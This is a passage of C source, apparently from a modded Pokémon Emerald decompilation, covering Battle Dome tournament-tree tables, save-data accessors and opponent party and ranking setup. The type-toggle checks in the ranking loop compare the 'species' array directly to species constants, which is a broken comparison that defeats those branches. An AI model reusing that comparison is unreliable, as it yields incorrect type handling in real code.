TourneyTreeLineSection sLineSectionTrainer8Round2[] = { LINESECTION_ROUND1_TRAINER8(LINE_CORNER_R) LINESECTION_ROUND2_MATCH3(LINE_H) }; static const struct TourneyTreeLineSection sLineSectionTrainer8Semifinal[] = { LINESECTION_ROUND1_TRAINER8(LINE_CORNER_R) LINESECTION_ROUND2_MATCH3(LINE_H) LINESECTION_SEMIFINAL_BOTTOM_LEFT }; static const struct TourneyTreeLineSection sLineSectionTrainer8Final[] = { LINESECTION_ROUND1_TRAINER8(LINE_CORNER_R) LINESECTION_ROUND2_MATCH3(LINE_H) LINESECTION_SEMIFINAL_BOTTOM_LEFT LINESECTION_FINAL_LEFT }; static const struct TourneyTreeLineSection sLineSectionTrainer16Round1[] = { LINESECTION_ROUND1_TRAINER16(LINE_CORNER_R_HALF) }; static const struct TourneyTreeLineSection sLineSectionTrainer16Round2[] = { LINESECTION_ROUND1_TRAINER16(LINE_CORNER_R) LINESECTION_ROUND2_MATCH3(LINE_H) }; static const struct TourneyTreeLineSection sLineSectionTrainer16Semifinal[] = { LINESECTION_ROUND1_TRAINER16(LINE_CORNER_R) LINESECTION_ROUND2_MATCH3(LINE_H) LINESECTION_SEMIFINAL_BOTTOM_LEFT }; static const struct TourneyTreeLineSection sLineSectionTrainer16Final[] = { LINESECTION_ROUND1_TRAINER16(LINE_CORNER_R) LINESECTION_ROUND2_MATCH3(LINE_H) LINESECTION_SEMIFINAL_BOTTOM_LEFT LINESECTION_FINAL_LEFT }; static const struct TourneyTreeLineSection sLineSectionTrainer12Round1[] = { LINESECTION_ROUND1_TRAINER12(LINE_H) }; static const struct TourneyTreeLineSection sLineSectionTrainer12Round2[] = { LINESECTION_ROUND1_TRAINER12(LINE_H) LINESECTION_ROUND2_MATCH4(LINE_H) }; static const struct TourneyTreeLineSection sLineSectionTrainer12Semifinal[] = { LINESECTION_ROUND1_TRAINER12(LINE_H) LINESECTION_ROUND2_MATCH4(LINE_H) LINESECTION_SEMIFINAL_BOTTOM_LEFT }; static const struct TourneyTreeLineSection sLineSectionTrainer12Final[] = { LINESECTION_ROUND1_TRAINER12(LINE_H) LINESECTION_ROUND2_MATCH4(LINE_H) LINESECTION_SEMIFINAL_BOTTOM_LEFT LINESECTION_FINAL_LEFT }; static const struct TourneyTreeLineSection sLineSectionTrainer4Round1[] = { LINESECTION_ROUND1_TRAINER4(LINE_H) }; static const struct TourneyTreeLineSection sLineSectionTrainer4Round2[] = { LINESECTION_ROUND1_TRAINER4(LINE_H) LINESECTION_ROUND2_MATCH4(LINE_H) }; static const struct TourneyTreeLineSection sLineSectionTrainer4Semifinal[] = { LINESECTION_ROUND1_TRAINER4(LINE_H) LINESECTION_ROUND2_MATCH4(LINE_H) LINESECTION_SEMIFINAL_BOTTOM_LEFT }; static const struct TourneyTreeLineSection sLineSectionTrainer4Final[] = { LINESECTION_ROUND1_TRAINER4(LINE_H) LINESECTION_ROUND2_MATCH4(LINE_H) LINESECTION_SEMIFINAL_BOTTOM_LEFT LINESECTION_FINAL_LEFT }; static const struct TourneyTreeLineSection sLineSectionTrainer3Round1[] = { LINESECTION_ROUND1_TRAINER3(LINE_CORNER_L_HALF) }; static const struct TourneyTreeLineSection sLineSectionTrainer3Round2[] = { LINESECTION_ROUND1_TRAINER3(LINE_CORNER_L) LINESECTION_ROUND2_MATCH5(LINE_CORNER_L_HALF) }; static const struct TourneyTreeLineSection sLineSectionTrainer3Semifinal[] = { LINESECTION_ROUND1_TRAINER3(LINE_CORNER_L) LINESECTION_ROUND2_MATCH5(LINE_CORNER_L) LINESECTION_SEMIFINAL_TOP_RIGHT }; static const struct TourneyTreeLineSection sLineSectionTrainer3Final[] = { LINESECTION_ROUND1_TRAINER3(LINE_CORNER_L) LINESECTION_ROUND2_MATCH5(LINE_CORNER_L) LINESECTION_SEMIFINAL_TOP_RIGHT LINESECTION_FINAL_RIGHT }; static const struct TourneyTreeLineSection sLineSectionTrainer11Round1[] = { LINESECTION_ROUND1_TRAINER11(LINE_CORNER_L_HALF) }; static const struct TourneyTreeLineSection sLineSectionTrainer11Round2[] = { LINESECTION_ROUND1_TRAINER11(LINE_CORNER_L) LINESECTION_ROUND2_MATCH5(LINE_CORNER_L_HALF) }; static const struct TourneyTreeLineSection sLineSectionTrainer11Semifinal[] = { LINESECTION_ROUND1_TRAINER11(LINE_CORNER_L) LINESECTION_ROUND2_MATCH5(LINE_CORNER_L) LINESECTION_SEMIFINAL_TOP_RIGHT }; static const struct TourneyTreeLineSection sLineSectionTrainer11Final[] = { LINESECTION_ROUND1_TRAINER11(LINE_CORNER_L) LINESECTION_ROUND2_MATCH5(LINE_CORNER_L) LINESECTION_SEMIFINAL_TOP_RIGHT LINESECTION_FINAL_RIGHT }; static const struct TourneyTreeLineSection sLineSectionTrainer15Round1[] = { LINESECTION_ROUND1_TRAINER15(LINE_H) }; static const struct TourneyTreeLineSection sLineSectionTrainer15Round2[] = { LINESECTION_ROUND1_TRAINER15(LINE_H) LINESECTION_ROUND2_MATCH6(LINE_CORNER_L_HALF) }; static const struct TourneyTreeLineSection sLineSectionTrainer15Semifinal[] = { LINESECTION_ROUND1_TRAINER15(LINE_H) LINESECTION_ROUND2_MATCH6(LINE_CORNER_L) LINESECTION_SEMIFINAL_TOP_RIGHT }; static const struct TourneyTreeLineSection sLineSectionTrainer15Final[] = { LINESECTION_ROUND1_TRAINER15(LINE_H) LINESECTION_ROUND2_MATCH6(LINE_CORNER_L) LINESECTION_SEMIFINAL_TOP_RIGHT LINESECTION_FINAL_RIGHT }; static const struct TourneyTreeLineSection sLineSectionTrainer7Round1[] = { LINESECTION_ROUND1_TRAINER7(LINE_H) }; static const struct TourneyTreeLineSection sLineSectionTrainer7Round2[] = { LINESECTION_ROUND1_TRAINER7(LINE_H) LINESECTION_ROUND2_MATCH6(LINE_CORNER_L_HALF) }; static const struct TourneyTreeLineSection sLineSectionTrainer7Semifinal[] = { LINESECTION_ROUND1_TRAINER7(LINE_H) LINESECTION_ROUND2_MATCH6(LINE_CORNER_L) LINESECTION_SEMIFINAL_TOP_RIGHT }; static const struct TourneyTreeLineSection sLineSectionTrainer7Final[] = { LINESECTION_ROUND1_TRAINER7(LINE_H) LINESECTION_ROUND2_MATCH6(LINE_CORNER_L) LINESECTION_SEMIFINAL_TOP_RIGHT LINESECTION_FINAL_RIGHT }; static const struct TourneyTreeLineSection sLineSectionTrainer6Round1[] = { LINESECTION_ROUND1_TRAINER6(LINE_CORNER_L_HALF) }; static const struct TourneyTreeLineSection sLineSectionTrainer6Round2[] = { LINESECTION_ROUND1_TRAINER6(LINE_CORNER_L) LINESECTION_ROUND2_MATCH7(LINE_H) }; static const struct TourneyTreeLineSection sLineSectionTrainer6Semifinal[] = { LINESECTION_ROUND1_TRAINER6(LINE_CORNER_L) LINESECTION_ROUND2_MATCH7(LINE_H) LINESECTION_SEMIFINAL_BOTTOM_RIGHT }; static const struct TourneyTreeLineSection sLineSectionTrainer6Final[] = { LINESECTION_ROUND1_TRAINER6(LINE_CORNER_L) LINESECTION_ROUND2_MATCH7(LINE_H) LINESECTION_SEMIFINAL_BOTTOM_RIGHT LINESECTION_FINAL_RIGHT }; static const struct TourneyTreeLineSection sLineSectionTrainer14Round1[] = { LINESECTION_ROUND1_TRAINER14(LINE_CORNER_L_HALF) }; static const struct TourneyTreeLineSection sLineSectionTrainer14Round2[] = { LINESECTION_ROUND1_TRAINER14(LINE_CORNER_L) LINESECTION_ROUND2_MATCH7(LINE_H) }; static const struct TourneyTreeLineSection sLineSectionTrainer14Semifinal[] = { LINESECTION_ROUND1_TRAINER14(LINE_CORNER_L) LINESECTION_ROUND2_MATCH7(LINE_H) LINESECTION_SEMIFINAL_BOTTOM_RIGHT }; static const struct TourneyTreeLineSection sLineSectionTrainer14Final[] = { LINESECTION_ROUND1_TRAINER14(LINE_CORNER_L) LINESECTION_ROUND2_MATCH7(LINE_H) LINESECTION_SEMIFINAL_BOTTOM_RIGHT LINESECTION_FINAL_RIGHT }; static const struct TourneyTreeLineSection sLineSectionTrainer10Round1[] = { LINESECTION_ROUND1_TRAINER10(LINE_H) }; static const struct TourneyTreeLineSection sLineSectionTrainer10Round2[] = { LINESECTION_ROUND1_TRAINER10(LINE_H) LINESECTION_ROUND2_MATCH8(LINE_H) }; static const struct TourneyTreeLineSection sLineSectionTrainer10Semifinal[] = { LINESECTION_ROUND1_TRAINER10(LINE_H) LINESECTION_ROUND2_MATCH8(LINE_H) LINESECTION_SEMIFINAL_BOTTOM_RIGHT }; static const struct TourneyTreeLineSection sLineSectionTrainer10Final[] = { LINESECTION_ROUND1_TRAINER10(LINE_H) LINESECTION_ROUND2_MATCH8(LINE_H) LINESECTION_SEMIFINAL_BOTTOM_RIGHT LINESECTION_FINAL_RIGHT }; static const struct TourneyTreeLineSection sLineSectionTrainer2Round1[] = { LINESECTION_ROUND1_TRAINER2(LINE_H) }; static const struct TourneyTreeLineSection sLineSectionTrainer2Round2[] = { LINESECTION_ROUND1_TRAINER2(LINE_H) LINESECTION_ROUND2_MATCH8(LINE_H) }; static const struct TourneyTreeLineSection sLineSectionTrainer2Semifinal[] = { LINESECTION_ROUND1_TRAINER2(LINE_H) LINESECTION_ROUND2_MATCH8(LINE_H) LINESECTION_SEMIFINAL_BOTTOM_RIGHT }; static const struct TourneyTreeLineSection sLineSectionTrainer2Final[] = { LINESECTION_ROUND1_TRAINER2(LINE_H) LINESECTION_ROUND2_MATCH8(LINE_H) LINESECTION_SEMIFINAL_BOTTOM_RIGHT LINESECTION_FINAL_RIGHT }; static const struct TourneyTreeLineSection *const sTourneyTreeLineSections[DOME_TOURNAMENT_TRAINERS_COUNT][DOME_ROUNDS_COUNT] = { {sLineSectionTrainer1Round1, sLineSectionTrainer1Round2, sLineSectionTrainer1Semifinal, sLineSectionTrainer1Final}, {sLineSectionTrainer2Round1, sLineSectionTrainer2Round2, sLineSectionTrainer2Semifinal, sLineSectionTrainer2Final}, {sLineSectionTrainer3Round1, sLineSectionTrainer3Round2, sLineSectionTrainer3Semifinal, sLineSectionTrainer3Final}, {sLineSectionTrainer4Round1, sLineSectionTrainer4Round2, sLineSectionTrainer4Semifinal, sLineSectionTrainer4Final}, {sLineSectionTrainer5Round1, sLineSectionTrainer5Round2, sLineSectionTrainer5Semifinal, sLineSectionTrainer5Final}, {sLineSectionTrainer6Round1, sLineSectionTrainer6Round2, sLineSectionTrainer6Semifinal, sLineSectionTrainer6Final}, {sLineSectionTrainer7Round1, sLineSectionTrainer7Round2, sLineSectionTrainer7Semifinal, sLineSectionTrainer7Final}, {sLineSectionTrainer8Round1, sLineSectionTrainer8Round2, sLineSectionTrainer8Semifinal, sLineSectionTrainer8Final}, {sLineSectionTrainer9Round1, sLineSectionTrainer9Round2, sLineSectionTrainer9Semifinal, sLineSectionTrainer9Final}, {sLineSectionTrainer10Round1, sLineSectionTrainer10Round2, sLineSectionTrainer10Semifinal, sLineSectionTrainer10Final}, {sLineSectionTrainer11Round1, sLineSectionTrainer11Round2, sLineSectionTrainer11Semifinal, sLineSectionTrainer11Final}, {sLineSectionTrainer12Round1, sLineSectionTrainer12Round2, sLineSectionTrainer12Semifinal, sLineSectionTrainer12Final}, {sLineSectionTrainer13Round1, sLineSectionTrainer13Round2, sLineSectionTrainer13Semifinal, sLineSectionTrainer13Final}, {sLineSectionTrainer14Round1, sLineSectionTrainer14Round2, sLineSectionTrainer14Semifinal, sLineSectionTrainer14Final}, {sLineSectionTrainer15Round1, sLineSectionTrainer15Round2, sLineSectionTrainer15Semifinal, sLineSectionTrainer15Final}, {sLineSectionTrainer16Round1, sLineSectionTrainer16Round2, sLineSectionTrainer16Semifinal, sLineSectionTrainer16Final}, }; static const u8 sTourneyTreeLineSectionArrayCounts[DOME_TOURNAMENT_TRAINERS_COUNT][DOME_ROUNDS_COUNT] = { {ARRAY_COUNT(sLineSectionTrainer1Round1), ARRAY_COUNT(sLineSectionTrainer1Round2), ARRAY_COUNT(sLineSectionTrainer1Semifinal), ARRAY_COUNT(sLineSectionTrainer1Final)}, {ARRAY_COUNT(sLineSectionTrainer2Round1), ARRAY_COUNT(sLineSectionTrainer2Round2), ARRAY_COUNT(sLineSectionTrainer2Semifinal), ARRAY_COUNT(sLineSectionTrainer2Final)}, {ARRAY_COUNT(sLineSectionTrainer3Round1), ARRAY_COUNT(sLineSectionTrainer3Round2), ARRAY_COUNT(sLineSectionTrainer3Semifinal), ARRAY_COUNT(sLineSectionTrainer3Final)}, {ARRAY_COUNT(sLineSectionTrainer4Round1), ARRAY_COUNT(sLineSectionTrainer4Round2), ARRAY_COUNT(sLineSectionTrainer4Semifinal), ARRAY_COUNT(sLineSectionTrainer4Final)}, {ARRAY_COUNT(sLineSectionTrainer5Round1), ARRAY_COUNT(sLineSectionTrainer5Round2), ARRAY_COUNT(sLineSectionTrainer5Semifinal), ARRAY_COUNT(sLineSectionTrainer5Final)}, {ARRAY_COUNT(sLineSectionTrainer6Round1), ARRAY_COUNT(sLineSectionTrainer6Round2), ARRAY_COUNT(sLineSectionTrainer6Semifinal), ARRAY_COUNT(sLineSectionTrainer6Final)}, {ARRAY_COUNT(sLineSectionTrainer7Round1), ARRAY_COUNT(sLineSectionTrainer7Round2), ARRAY_COUNT(sLineSectionTrainer7Semifinal), ARRAY_COUNT(sLineSectionTrainer7Final)}, {ARRAY_COUNT(sLineSectionTrainer8Round1), ARRAY_COUNT(sLineSectionTrainer8Round2), ARRAY_COUNT(sLineSectionTrainer8Semifinal), ARRAY_COUNT(sLineSectionTrainer8Final)}, {ARRAY_COUNT(sLineSectionTrainer9Round1), ARRAY_COUNT(sLineSectionTrainer9Round2), ARRAY_COUNT(sLineSectionTrainer9Semifinal), ARRAY_COUNT(sLineSectionTrainer9Final)}, {ARRAY_COUNT(sLineSectionTrainer10Round1), ARRAY_COUNT(sLineSectionTrainer10Round2), ARRAY_COUNT(sLineSectionTrainer10Semifinal), ARRAY_COUNT(sLineSectionTrainer10Final)}, {ARRAY_COUNT(sLineSectionTrainer11Round1), ARRAY_COUNT(sLineSectionTrainer11Round2), ARRAY_COUNT(sLineSectionTrainer11Semifinal), ARRAY_COUNT(sLineSectionTrainer11Final)}, {ARRAY_COUNT(sLineSectionTrainer12Round1), ARRAY_COUNT(sLineSectionTrainer12Round2), ARRAY_COUNT(sLineSectionTrainer12Semifinal), ARRAY_COUNT(sLineSectionTrainer12Final)}, {ARRAY_COUNT(sLineSectionTrainer13Round1), ARRAY_COUNT(sLineSectionTrainer13Round2), ARRAY_COUNT(sLineSectionTrainer13Semifinal), ARRAY_COUNT(sLineSectionTrainer13Final)}, {ARRAY_COUNT(sLineSectionTrainer14Round1), ARRAY_COUNT(sLineSectionTrainer14Round2), ARRAY_COUNT(sLineSectionTrainer14Semifinal), ARRAY_COUNT(sLineSectionTrainer14Final)}, {ARRAY_COUNT(sLineSectionTrainer15Round1), ARRAY_COUNT(sLineSectionTrainer15Round2), ARRAY_COUNT(sLineSectionTrainer15Semifinal), ARRAY_COUNT(sLineSectionTrainer15Final)}, {ARRAY_COUNT(sLineSectionTrainer16Round1), ARRAY_COUNT(sLineSectionTrainer16Round2), ARRAY_COUNT(sLineSectionTrainer16Semifinal), ARRAY_COUNT(sLineSectionTrainer16Final)}, }; void CallBattleDomeFunction(void) { sBattleDomeFunctions[gSpecialVar_0x8004](); } static void InitDomeChallenge(void) { u32 lvlMode = gSaveBlock2Ptr->frontier.lvlMode; u32 battleMode = VarGet(VAR_FRONTIER_BATTLE_MODE); gSaveBlock2Ptr->frontier.challengeStatus = 0; gSaveBlock2Ptr->frontier.curChallengeBattleNum = 0; gSaveBlock2Ptr->frontier.challengePaused = FALSE; gSaveBlock2Ptr->frontier.disableRecordBattle = FALSE; if (!(gSaveBlock2Ptr->frontier.winStreakActiveFlags & sWinStreakFlags[battleMode][lvlMode])) gSaveBlock2Ptr->frontier.domeWinStreaks[battleMode][lvlMode] = 0; SetDynamicWarp(0, gSaveBlock1Ptr->location.mapGroup, gSaveBlock1Ptr->location.mapNum, WARP_ID_NONE); gTrainerBattleOpponent_A = 0; } static void GetDomeData(void) { u32 lvlMode = gSaveBlock2Ptr->frontier.lvlMode; u32 battleMode = VarGet(VAR_FRONTIER_BATTLE_MODE); switch (gSpecialVar_0x8005) { case DOME_DATA_WIN_STREAK: gSpecialVar_Result = gSaveBlock2Ptr->frontier.domeWinStreaks[battleMode][lvlMode]; break; case DOME_DATA_WIN_STREAK_ACTIVE: gSpecialVar_Result = ((gSaveBlock2Ptr->frontier.winStreakActiveFlags & sWinStreakFlags[battleMode][lvlMode]) != 0); break; case DOME_DATA_ATTEMPTED_SINGLES_50: gSpecialVar_Result = gSaveBlock2Ptr->frontier.domeAttemptedSingles50; break; case DOME_DATA_ATTEMPTED_SINGLES_OPEN: gSpecialVar_Result = gSaveBlock2Ptr->frontier.domeAttemptedSinglesOpen; break; case DOME_DATA_HAS_WON_SINGLES_50: gSpecialVar_Result = gSaveBlock2Ptr->frontier.domeHasWonSingles50; break; case DOME_DATA_HAS_WON_SINGLES_OPEN: gSpecialVar_Result = gSaveBlock2Ptr->frontier.domeHasWonSinglesOpen; break; case DOME_DATA_ATTEMPTED_CHALLENGE: if (VarGet(VAR_FRONTIER_BATTLE_MODE) == FRONTIER_MODE_DOUBLES) { if (lvlMode != FRONTIER_LVL_50) gSpecialVar_Result = gSaveBlock2Ptr->frontier.domeAttemptedDoublesOpen; else gSpecialVar_Result = gSaveBlock2Ptr->frontier.domeAttemptedDoubles50; } else { if (lvlMode != FRONTIER_LVL_50) gSpecialVar_Result = gSaveBlock2Ptr->frontier.domeAttemptedSinglesOpen; else gSpecialVar_Result = gSaveBlock2Ptr->frontier.domeAttemptedSingles50; } break; case DOME_DATA_HAS_WON_CHALLENGE: if (VarGet(VAR_FRONTIER_BATTLE_MODE) == FRONTIER_MODE_DOUBLES) { if (lvlMode != FRONTIER_LVL_50) gSpecialVar_Result = gSaveBlock2Ptr->frontier.domeHasWonDoublesOpen; else gSpecialVar_Result = gSaveBlock2Ptr->frontier.domeHasWonDoubles50; } else { if (lvlMode != FRONTIER_LVL_50) gSpecialVar_Result = gSaveBlock2Ptr->frontier.domeHasWonSinglesOpen; else gSpecialVar_Result = gSaveBlock2Ptr->frontier.domeHasWonSingles50; } break; case DOME_DATA_SELECTED_MONS: ClearSelectedPartyOrder(); gSelectedOrderFromParty[0] = gSaveBlock2Ptr->frontier.selectedPartyMons[3]; gSelectedOrderFromParty[1] = gSaveBlock2Ptr->frontier.selectedPartyMons[3] >> 8; break; case DOME_DATA_PREV_TOURNEY_TYPE: gSpecialVar_Result = (gSaveBlock2Ptr->frontier.domeLvlMode * 2) - 3 + gSaveBlock2Ptr->frontier.domeBattleMode; break; } } static void SetDomeData(void) { u32 lvlMode = gSaveBlock2Ptr->frontier.lvlMode; u32 battleMode = VarGet(VAR_FRONTIER_BATTLE_MODE); switch (gSpecialVar_0x8005) { case DOME_DATA_WIN_STREAK: gSaveBlock2Ptr->frontier.domeWinStreaks[battleMode][lvlMode] = gSpecialVar_0x8006; break; case DOME_DATA_WIN_STREAK_ACTIVE: if (gSpecialVar_0x8006) gSaveBlock2Ptr->frontier.winStreakActiveFlags |= sWinStreakFlags[battleMode][lvlMode]; else gSaveBlock2Ptr->frontier.winStreakActiveFlags &= sWinStreakMasks[battleMode][lvlMode]; break; case DOME_DATA_ATTEMPTED_SINGLES_50: gSaveBlock2Ptr->frontier.domeAttemptedSingles50 = gSpecialVar_0x8006; break; case DOME_DATA_ATTEMPTED_SINGLES_OPEN: gSaveBlock2Ptr->frontier.domeAttemptedSinglesOpen = gSpecialVar_0x8006; break; case DOME_DATA_HAS_WON_SINGLES_50: gSaveBlock2Ptr->frontier.domeHasWonSingles50 = gSpecialVar_0x8006; break; case DOME_DATA_HAS_WON_SINGLES_OPEN: gSaveBlock2Ptr->frontier.domeHasWonSinglesOpen = gSpecialVar_0x8006; break; case DOME_DATA_ATTEMPTED_CHALLENGE: if (VarGet(VAR_FRONTIER_BATTLE_MODE) == FRONTIER_MODE_DOUBLES) { if (lvlMode != FRONTIER_LVL_50) gSaveBlock2Ptr->frontier.domeAttemptedDoublesOpen = gSpecialVar_0x8006; else gSaveBlock2Ptr->frontier.domeAttemptedDoubles50 = gSpecialVar_0x8006; } else { if (lvlMode != FRONTIER_LVL_50) gSaveBlock2Ptr->frontier.domeAttemptedSinglesOpen = gSpecialVar_0x8006; else gSaveBlock2Ptr->frontier.domeAttemptedSingles50 = gSpecialVar_0x8006; } break; case DOME_DATA_HAS_WON_CHALLENGE: if (VarGet(VAR_FRONTIER_BATTLE_MODE) == FRONTIER_MODE_DOUBLES) { if (lvlMode != FRONTIER_LVL_50) gSaveBlock2Ptr->frontier.domeHasWonDoublesOpen = gSpecialVar_0x8006; else gSaveBlock2Ptr->frontier.domeHasWonDoubles50 = gSpecialVar_0x8006; } else { if (lvlMode != FRONTIER_LVL_50) gSaveBlock2Ptr->frontier.domeHasWonSinglesOpen = gSpecialVar_0x8006; else gSaveBlock2Ptr->frontier.domeHasWonSingles50 = gSpecialVar_0x8006; } break; case DOME_DATA_SELECTED_MONS: gSaveBlock2Ptr->frontier.selectedPartyMons[3] = T1_READ_16(gSelectedOrderFromParty); break; } } static void InitDomeTrainers(void) { int i, j, k; int monLevel; int species[FRONTIER_PARTY_SIZE]; int monTypesBits, monTypesCount; int trainerId; int monId; u16 *rankingScores; int *statValues; u8 ivs = 0; species[0] = 0; species[1] = 0; species[2] = 0; rankingScores = AllocZeroed(sizeof(u16) * DOME_TOURNAMENT_TRAINERS_COUNT); statValues = AllocZeroed(sizeof(int) * NUM_STATS); gSaveBlock2Ptr->frontier.domeLvlMode = gSaveBlock2Ptr->frontier.lvlMode + 1; gSaveBlock2Ptr->frontier.domeBattleMode = VarGet(VAR_FRONTIER_BATTLE_MODE) + 1; DOME_TRAINERS[0].trainerId = TRAINER_PLAYER; DOME_TRAINERS[0].isEliminated = FALSE; DOME_TRAINERS[0].eliminatedAt = 0; DOME_TRAINERS[0].forfeited = FALSE; // Store the data used to display party information on the player's tourney page for (i = 0; i < FRONTIER_PARTY_SIZE; i++) { DOME_MONS[0][i] = GetMonData(&gPlayerParty[gSaveBlock2Ptr->frontier.selectedPartyMons[i] - 1], MON_DATA_SPECIES, NULL); for (j = 0; j < MAX_MON_MOVES; j++) gSaveBlock2Ptr->frontier.domePlayerPartyData[i].moves[j] = GetMonData(&gPlayerParty[gSaveBlock2Ptr->frontier.selectedPartyMons[i] - 1], MON_DATA_MOVE1 + j, NULL); for (j = 0; j < NUM_STATS; j++) gSaveBlock2Ptr->frontier.domePlayerPartyData[i].evs[j] = GetMonData(&gPlayerParty[gSaveBlock2Ptr->frontier.selectedPartyMons[i] - 1], MON_DATA_HP_EV + j, NULL); gSaveBlock2Ptr->frontier.domePlayerPartyData[i].nature = GetNature(&gPlayerParty[gSaveBlock2Ptr->frontier.selectedPartyMons[i] - 1], FALSE); } // Populate the tourney roster with random frontier trainers (dependent on streak) for (i = 1; i < DOME_TOURNAMENT_TRAINERS_COUNT; i++) { // Choose trainer. First 5/16 trainers are easier than the rest if (i > 5) { do { trainerId = GetRandomScaledFrontierTrainerId(GetCurrentFacilityWinStreak(), 0); for (j = 1; j < i; j++) { if (DOME_TRAINERS[j].trainerId == trainerId) break; } } while (j != i); DOME_TRAINERS[i].trainerId = trainerId; } else { do { trainerId = GetRandomScaledFrontierTrainerId(GetCurrentFacilityWinStreak() + 1, 0); for (j = 1; j < i; j++) { if (DOME_TRAINERS[j].trainerId == trainerId) break; } } while (j != i); DOME_TRAINERS[i].trainerId = trainerId; } // Choose party for (j = 0; j < FRONTIER_PARTY_SIZE; j++) { do { monId = GetRandomFrontierMonFromSet(trainerId); for (k = 0; k < j; k++) { // Make sure the mon is valid. int alreadySelectedMonId = DOME_MONS[i][k]; if (alreadySelectedMonId == monId || species[0] == gFacilityTrainerMons[monId].species || species[1] == gFacilityTrainerMons[monId].species || gFacilityTrainerMons[alreadySelectedMonId].itemTableId == gFacilityTrainerMons[monId].itemTableId) break; } } while (k != j); DOME_MONS[i][j] = monId; species[j] = gFacilityTrainerMons[monId].species; } DOME_TRAINERS[i].isEliminated = FALSE; DOME_TRAINERS[i].eliminatedAt = 0; DOME_TRAINERS[i].forfeited = FALSE; } // rankingScores is used to determine the seed (ranking) of the trainers // rankingScores[0] is for the player, rankingScores[1-15] are for the opponent trainers // Calculate player's ranking score monTypesBits = 0; rankingScores[0] = 0; for (i = 0; i < FRONTIER_PARTY_SIZE; i++) { // trainerId var re-used here as index of selected mons trainerId = gSaveBlock2Ptr->frontier.selectedPartyMons[i] - 1; rankingScores[0] += GetMonData(&gPlayerParty[trainerId], MON_DATA_ATK, NULL); rankingScores[0] += GetMonData(&gPlayerParty[trainerId], MON_DATA_DEF, NULL); rankingScores[0] += GetMonData(&gPlayerParty[trainerId], MON_DATA_SPATK, NULL); rankingScores[0] += GetMonData(&gPlayerParty[trainerId], MON_DATA_SPDEF, NULL); rankingScores[0] += GetMonData(&gPlayerParty[trainerId], MON_DATA_SPEED, NULL); rankingScores[0] += GetMonData(&gPlayerParty[trainerId], MON_DATA_MAX_HP, NULL); monTypesBits |= gBitTable[GetTypeBySpecies(GetMonData(&gPlayerParty[trainerId], MON_DATA_SPECIES, NULL), 1)]; monTypesBits |= gBitTable[GetTypeBySpecies(GetMonData(&gPlayerParty[trainerId], MON_DATA_SPECIES, NULL), 2)]; } // Count the number of types in the players party, to factor into the ranking for (monTypesCount = 0, j = 0; j < 32; j++) { if (monTypesBits & 1) monTypesCount++; monTypesBits >>= 1; } monLevel = SetFacilityPtrsGetLevel(); rankingScores[0] += (monTypesCount * monLevel) / 20; // Calculate rankingScores for the opponent trainers for (i = 1; i < DOME_TOURNAMENT_TRAINERS_COUNT; i++) { monTypesBits = 0; rankingScores[i] = 0; ivs = GetDomeTrainerMonIvs(DOME_TRAINERS[i].trainerId); for (j = 0; j < FRONTIER_PARTY_SIZE; j++) { CalcDomeMonStats(gFacilityTrainerMons[DOME_MONS[i][j]].species, monLevel, ivs, gFacilityTrainerMons[DOME_MONS[i][j]].evSpread, gFacilityTrainerMons[DOME_MONS[i][j]].nature, statValues); rankingScores[i] += statValues[STAT_ATK]; rankingScores[i] += statValues[STAT_DEF]; rankingScores[i] += statValues[STAT_SPATK]; rankingScores[i] += statValues[STAT_SPDEF]; rankingScores[i] += statValues[STAT_SPEED]; rankingScores[i] += statValues[STAT_HP]; //If "tx_Mode_Modern_Types" is enabled, 18 Pokémon have new types. THIS CODE DISABLES THE NEW TYPES IN EACH POKÉMON. //The second column shows which type has been added or removed from each Pokémon. //"-" means that the type is removed, "+" means that the type is added. //The game defaults to the new typings. //Logically speaking, this should have been reversed: The code should check if "tx_Mode_Modern_Types" is enabled, and then //apply the new typing. I didn't do it like that, and reversing it means breaking savegames, so now it stays like this. if ((gSaveBlock1Ptr->tx_Mode_Modern_Types == 0) && (species == SPECIES_ARBOK || species == SPECIES_PARASECT || species == SPECIES_GOLDUCK || species == SPECIES_KINGLER || species == SPECIES_MEGANIUM || species == SPECIES_TYPHLOSION || species == SPECIES_FERALIGATR || species == SPECIES_NOCTOWL || species == SPECIES_SUNFLORA || species == SPECIES_STANTLER || species == SPECIES_GROVYLE || species == SPECIES_SCEPTILE || species == SPECIES_MASQUERAIN || species == SPECIES_DELCATTY || species == SPECIES_GULPIN || species == SPECIES_SWALOT || species == SPECIES_LUVDISC || species == SPECIES_ELECTIVIRE)) { monTypesBits |= gBitTable[gSpeciesInfo[gFacilityTrainerMons[DOME_MONS[i][j]].species].types_old[0]]; monTypesBits |= gBitTable[gSpeciesInfo[gFacilityTrainerMons[DOME_MONS[i][j]].species].types_old[1]]; } //20 new Pokémon are now Fairy Type. This code DISABLES the Fairy type for the following Pokémon. //Same as above, this code should be reversed, but I didn't do it, so it stays like that for now. else if ((gSaveBlock1Ptr->tx_Mode_Fairy_Types == 0) && (species == SPECIES_JIGGLYPUFF || species == SPECIES_WIGGLYTUFF || species == SPECIES_CLEFAIRY || species == SPECIES_CLEFABLE || species == SPECIES_MR_MIME || species == SPECIES_CLEFFA || species == SPECIES_IGGLYBUFF || species == SPECIES_TOGEPI || species == SPECIES_TOGETIC || species == SPECIES_MARILL || species == SPECIES_AZUMARILL || species == SPECIES_SNUBBULL || species == SPECIES_GRANBULL || species == SPECIES_RALTS || species == SPECIES_KIRLIA || species == SPECIES_GARDEVOIR || species == SPECIES_AZURILL || species == SPECIES_MAWILE || species == SPECIES_MIME_JR || species == SPECIES_TOGEKISS)) { monTypesBits |= gBitTable[gSpeciesInfo[gFacilityTrainerMons[DOME_MONS[i][j]].species].types_old[0]]; monTypesBits |= gBitTable[gSpeciesInfo[gFacilityTrainerMons[DOME_MONS[i][j]].species].types_old[1]]; } //When modern typings are enabled, Snubull and Granbull also have Fairy Type + Normal Type else if ((gSaveBlock1Ptr->tx_Mode_Fairy_Types == 1) && (species == SPECIES_SNUBBULL || species == SPECIES_GRANBULL)) { monTypesBits |= gBitTable[gSpeciesInfo[gFacilityTrainerMons[DOME_MONS[i][j]].species].types_new[0]]; monTypesBits |= gBitTable[gSpeciesInfo[gFacilityTrainerMons[DOME_MONS[i][j]].species].types_new[1]]; } else { monTypesBits |= gBitTable[gSpeciesInfo[gFacilityTrainerMons[DOME_MONS[i][j]].species].types[0]]; monTypesBits |= gBitTable[gSpeciesInfo[gFacilityTrainerMons[DOME_MONS[i][j]].species].types[1]]; } } for (monTypesCount = 0, j = 0; j < 32; j++) { if (monTypesBits & 1) monTypesCount++; monTypesBits >>= 1; } rankingScores[i] += (monTypesCount * monLevel) / 20; } // Seed tourney trainers according to their ranking 